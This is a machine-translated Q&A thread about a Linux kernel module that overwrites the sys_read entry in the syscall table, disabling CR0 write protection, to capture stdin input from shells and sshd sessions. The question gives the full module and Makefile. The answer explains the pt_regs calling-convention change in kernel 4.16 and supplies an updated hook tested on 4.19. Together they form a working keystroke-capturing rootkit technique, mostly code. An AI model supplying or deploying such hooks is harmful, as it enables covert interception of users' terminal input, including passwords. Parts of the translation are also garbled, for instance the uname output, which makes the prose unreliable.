新Linux内核中的内存隔离,还是什么?

问题描述 投票:4回答:1

这个模块完全劫持了用户的控制台:https://pastebin.com/99YJFnaq

它是Linux内核4.12,Kali 2018.1。

现在,我已经安装了最新版本的Kali - 2019.1。它使用内核4.19:

Linux时间4.19.0-times1-amd64#1 Debian Middle School 4.19.13-1 times1(2019-01-03)x86_64 GNU / Linux

我试图抓住任何东西,但流程中不存在fd == 0。


I've googled for a long long time, tried to read changelogs on different resources...

我发现了这样的模块kpti,可能会做类似的事情,但这个模块没有安装在Kali 2019.1中。

请帮助我找到hacked_read在这段代码中停止听到sys_read()的确切原因:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/syscalls.h>
#include <linux/version.h>
#include <linux/unistd.h>

#include <linux/time.h>
#include <linux/preempt.h>

#include <asm/uaccess.h>
#include <asm/paravirt.h>
#include <asm-generic/bug.h>
#include <asm/segment.h>

#define BUFFER_SIZE 512

#define MODULE_NAME "hacked_read"

#define dbg( format, arg... )  do { if ( debug ) pr_info( MODULE_NAME ": %s: " format , __FUNCTION__ , ## arg ); } while ( 0 )
#define err( format, arg... )  pr_err(  MODULE_NAME ": " format, ## arg )
#define info( format, arg... ) pr_info( MODULE_NAME ": " format, ## arg )
#define warn( format, arg... ) pr_warn( MODULE_NAME ": " format, ## arg )

MODULE_DESCRIPTION( MODULE_NAME );
MODULE_VERSION( "0.1" );
MODULE_LICENSE( "GPL" );
MODULE_AUTHOR( "module author <[email protected]>" );

static char debug_buffer[ BUFFER_SIZE ];
unsigned long ( *original_read ) ( unsigned int, char *, size_t );
void **sct;
unsigned long icounter = 0;

static inline void rw_enable( void ) {
    asm volatile ( "cli \n"
        "pushq %rax \n"
        "movq %cr0, %rax \n"
        "andq $0xfffffffffffeffff, %rax \n"
        "movq %rax, %cr0 \n"
        "popq %rax " );
}

static inline uint64_t getcr0(void) {
    register uint64_t ret = 0;
    asm volatile (
        "movq %%cr0, %0\n"
        :"=r"(ret)
    );
    return ret;
}

static inline void rw_disable( register uint64_t val ) {
    asm volatile(
        "movq %0, %%cr0\n"
        "sti "
        :
        :"r"(val)
    );
}

static void* find_sym( const char *sym ) {
    static unsigned long faddr = 0; // static !!!
    // ----------- nested functions are a GCC extension ---------
    int symb_fn( void* data, const char* sym, struct module* mod, unsigned long addr ) {
        if( 0 == strcmp( (char*)data, sym ) ) {
            faddr = addr;
            return 1;
        } else return 0;
    };// --------------------------------------------------------
    kallsyms_on_each_symbol( symb_fn, (void*)sym );
    return (void*)faddr;
}

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( fd, buf, count );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( fd, buf, count );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}

int hacked_read_init( void ) {
    register uint64_t cr0;
    info( "Module was loaded\n" );
    sct = find_sym( "sys_call_table" );
    original_read = (void *)sct[ __NR_read ];
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = hacked_read_test;
    rw_disable( cr0 );
    return 0;
}

void hacked_read_exit( void ) {
    register uint64_t cr0;
    info( "Module was unloaded\n" );
    cr0 = getcr0();
    rw_enable();
    sct[ __NR_read ] = original_read;
    rw_disable( cr0 );
}

module_init( hacked_read_init );
module_exit( hacked_read_exit );

Makefile文件:

CURRENT = $(shell uname -r)
KDIR = /lib/modules/$(CURRENT)/build
PWD = $(shell pwd)

TARGET = hacked_read
obj-m := $(TARGET).o

default:
        $(MAKE) -C $(KDIR) M=$(PWD) modules

clean:
        @rm -f *.o .*.cmd .*.flags *.mod.c *.order
        @rm -f .*.*.cmd *.symvers *~ *.*~ TODO.*
        @rm -fR .tmp*
        @rm -rf .tmp_versions

我确信像以前一样的东西一直在调用sys_read()teebashvi - 所有这些东西都不能在这么短的时间内改变,但是linux-kernel

我会欣赏代码绕过。

c linux-kernel kernel-module
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一些故障排除显示以下内容:

  • 当然,没有任何用户空间程序停止使用read()。他们仍然一直在呼唤它。
  • 没有“内存隔离”。在模块初始化期间成功修改了syscalls表,并且使用指向sys_read()的指针成功替换了指向hacked_read_test()的指针。
  • 加载模块时,read()系统调用就好像它是原始模块一样。
  • 行为的变化发生在内核4.164.16.2之间(即2018年4月1日至2018年4月12日之间)。

考虑到这一点,我们有非常狭窄的提交列表要检查,并且更改可能在系统调用机制中。好吧,看起来像this commit is what we are looking for(还有更多)。

这个提交的关键部分是它改变了SYSCALL_DEFINEx定义的函数的签名,以便它们接受a pointer to struct pt_regs而不是syscall参数,即sys_read(unsigned int fd, char __user * buf, size_t count)变成sys_read(const struct pt_regs *regs)。这意味着,hacked_read_test(unsigned int fd, char *buf, size_t count)不再是sys_read()的有效替代品!

因此,使用新内核,您可以用sys_read(const struct pt_regs *regs)替换hacked_read_test(unsigned int fd, char *buf, size_t count)。为什么这不会崩溃,而是像原来的sys_read()一样工作?再次考虑hacked_read_test()的简化版本:

unsigned long hacked_read_test( unsigned int fd, char *buf, size_t count ) {
    if ( fd != 0 ) {
        return original_read( fd, buf, count );
    } else {
        // ...
    }
}

好。第一个函数参数通过%rdi寄存器传递。 sys_read()的调用者将指向struct pt_regs的指针放入%rdi并执行调用。执行流程在hacked_read_test()内部,并检查第一个参数fd是否为零。考虑到这个参数包含一个有效的指针而不是文件描述符,这个条件成功,控制流直接转到original_read(),它接收fd值(实际上,指向struct pt_regs的指针)作为第一个参数,反过来,然后成功使用,因为它原本应该是。所以,因为内核4.16.2你的hacked_read_test()有效地工作如下:

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    return original_read( regs );
}

为了确保它,你可以尝试替代版本的hacked_read_test()

unsigned long hacked_read_test( void *ptr ) {    
    if ( ptr != 0 ) {
        info( "invocation of hacked_read_test(): 1st arg is %d (%p)", ptr, ptr );
        return original_read( ptr );
    } else {
        return -EINVAL;
    }
}

在编译和insmoding此版本后,您将获得以下内容:

invocation of hacked_read_test(): 1st arg is 35569496 (00000000c3a0dc9e)

您可以创建hacked_read_test()的工作版本,但似乎实现将依赖于平台,因为您必须从regs的相应寄存器字段中提取参数(对于x86_84,这些是%rdi%rsi%rdx,用于1st,2nd和第三个系统调用参数)。

下面的工作x86_64实现(在内核4.19上测试)。

#include <asm/ptrace.h>

// ...

unsigned long ( *original_read ) ( const struct pt_regs *regs );

// ...

unsigned long hacked_read_test( const struct pt_regs *regs ) {
    unsigned int fd = regs->di;
    char *buf = (char*) regs->si;
    unsigned long r = 1;
    if ( fd != 0 ) { // fd == 0 --> stdin (sh, sshd)
        return original_read( regs );
    } else {
        icounter++;
        if ( icounter % 1000 == 0 ) {
            info( "test2 icounter = %ld\n", icounter );
            info( "strlen( debug_buffer ) = %ld\n", strlen( debug_buffer ) );
        }
        r = original_read( regs );
        strncat( debug_buffer, buf, 1 );
        if ( strlen( debug_buffer ) > BUFFER_SIZE - 100 )
            debug_buffer[0] = '\0';
        return r;
    }
}
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